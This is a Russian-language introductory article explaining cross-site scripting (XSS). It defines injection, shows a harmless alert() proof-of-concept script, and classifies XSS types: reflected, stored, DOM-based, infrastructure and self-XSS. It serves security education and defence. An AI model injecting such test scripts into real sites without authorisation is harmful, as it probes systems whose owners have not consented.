    Рисунок 1. Форма ввода данных

    Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья». Именно для таких целей имена пользователей хранятся в базе данных.

    Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

    Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

    Рисунок 2. Наглядная схема межсайтового скриптинга

    В качестве простейшего примера можно привести элементарный скрипт, показывающий окно с уведомлением. Выглядит он примерно так:

    Таблица 1. Скрипт, вызывающий всплывающее окно

    alert(" ЭТО XSS- УЯЗВИМОСТЬ !!!")

    Данный скрипт вызывает окно с надписью «ЭТО XSS-УЯЗВИМОСТЬ!!!». Браузер пользователя воспринимает и выполняет этот скрипт как часть легитимного кода сайта.

    Типы XSS-уязвимостей

    Не все уязвимости XSS одинаковы, их существует множество типов. Здесь перечислены типы и способы их взаимодействия:

    Рисунок 3. Типы XSS-уязвимостей


    Уязвимости, вызванные кодом на стороне сервера (Java, PHP, .NET и т. д.):

    Традиционные XSS-атаки:

  • Отраженные (непостоянные). Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.
  • Хранимые (постоянные). Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.
  • Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.):

    Также известные как DOM-модели:

  • Отраженные (непостоянные). То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.
  • Хранимые (постоянные). Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.
  • Уязвимости, вызванные инфраструктурой (браузер, плагины, сервера и т. д.):

    Встречаются очень редко, но являются более опасными:

  • Инфраструктура на стороне клиента. Происходит, когда вредоносная составляющая производит какие-либо манипуляции с функционалом браузера, например с его XSS-фильтром и т.п.
  • Инфраструктура на стороне сервера. Возникает, когда веб-сервер некорректно обрабатывает запросы, позволяя модифицировать их.
  • Сеть. Происходит, когда возможно внедриться в связь между клиентом и сервером.
  • Уязвимости, вызванные пользователем:

  • Само-XSS. Часто происходит в результате социальной инженерии, когда пользователь случайно запускает вредоносный код в своем браузере.
  • В чем опасность XSS?

    Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости. Об этом мы поговорим в следующей части статьи, посвященной XSS.



    Есть вопросы?

    Сообщить об опечатке

    Текст, который будет отправлен нашим редакторам: